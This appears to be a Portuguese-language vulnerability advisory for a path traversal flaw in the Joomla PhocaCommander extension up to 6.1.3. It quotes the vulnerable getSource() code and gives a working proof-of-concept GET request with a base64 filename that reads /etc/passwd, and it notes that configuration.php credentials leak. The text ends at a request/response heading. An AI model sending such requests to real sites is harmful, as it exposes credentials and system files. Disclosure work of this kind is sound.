
A extensão Joomla PhocaCommander é vulnerável a Path Traversal na função getSource - CVSS 8.2
PhocaCommander ≤ 6.1.3 — Path Traversal de Administrador Autenticado, CSRF Não Necessário
Existe uma vulnerabilidade de leitura arbitrária de arquivos no endpoint do editor de arquivos do PhocaCommander. A função getSource() decodifica um parâmetro filename codificado em base64 e o passa diretamente para file_get_contents() sem verificação de contenção de caminho. Um administrador autenticado pode ler qualquer arquivo acessível ao processo do servidor web — incluindo arquivos fora da raiz web — simplesmente enviando uma solicitação GET. Nenhum token CSRF é necessário.
A exploração vaza as credenciais do banco de dados e a chave secreta do Joomla de configuration.php, e pode ler arquivos de sistema como /etc/passwd por meio de sequências de path traversal (ex.: ../../../../etc/passwd).
| COMPONENTE | VULNERÁVEL | TESTADO EM | CORRIGIDO |
|---|---|---|---|
| PhocaCommander | 1.0.0 – 6.1.3 | Joomla 5.4.7 + PhocaCommander 6.1.3 (PHP 8.2 / Apache) | 6.1.4 |
Autenticação necessária: Sessão de administrador (nenhum token CSRF necessário - solicitação GET)
Arquivo: administrator/components/com_phocacommander/models/phocacommanderedit.php
getSource() decodifica filename de base64 e o concatena diretamente a JPATH_ROOT, depois lê o arquivo sem verificação de contenção:
PHOCACOMMANDEREDIT.PHP — CÓDIGO VULNERÁVEL
public function getSource($fileName) {
$fileName = base64_decode($fileName); // ← attacker-controlled
$item = new stdClass;
if (PhocaCommanderHelper::fileExists(JPATH_ROOT . '/' . $fileName)) {
$item->source = file_get_contents(JPATH_ROOT . '/' . $fileName); // ← no containment check
}
return $item;
}
fileExists() usa is_file(Path::clean($file)). Path::clean() normaliza barras, mas não remove sequências ../, então as travessias escapam da raiz web sem verificação.
A base de código contém getContainedRealPath() em helpers/phocacommander.php, que realiza a contenção adequada baseada em realpath(). Ela é chamada por save() e download(), mas nunca foi adicionada a getSource(). Além disso, o método edit() do controller é despachado via GET, portanto as verificações padrão de token CSRF não se aplicam — um cookie de sessão de administrador ativo é suficiente para acionar leituras arbitrárias de arquivos.
Autentique-se pela página de login do administrador para obter um cookie de sessão válido. Nenhum privilégio adicional além de uma sessão de administrador padrão é necessário.
Envie a seguinte solicitação GET com o caminho de travessia codificado em base64:
GET /administrator/index.php?option=com_phocacommander&task=phocacommanderedit.edit&filename=Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Cookie: [admin session]
filename decodificado: Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== → ../../../../etc/passwd
Caminho resolvido: /var/www/html/../../../../etc/passwd = /etc/passwd
O editor renderiza o conteúdo completo de /etc/passwd, confirmando acesso de leitura fora da raiz web.
REQUISIÇÃO / RESPOSTA
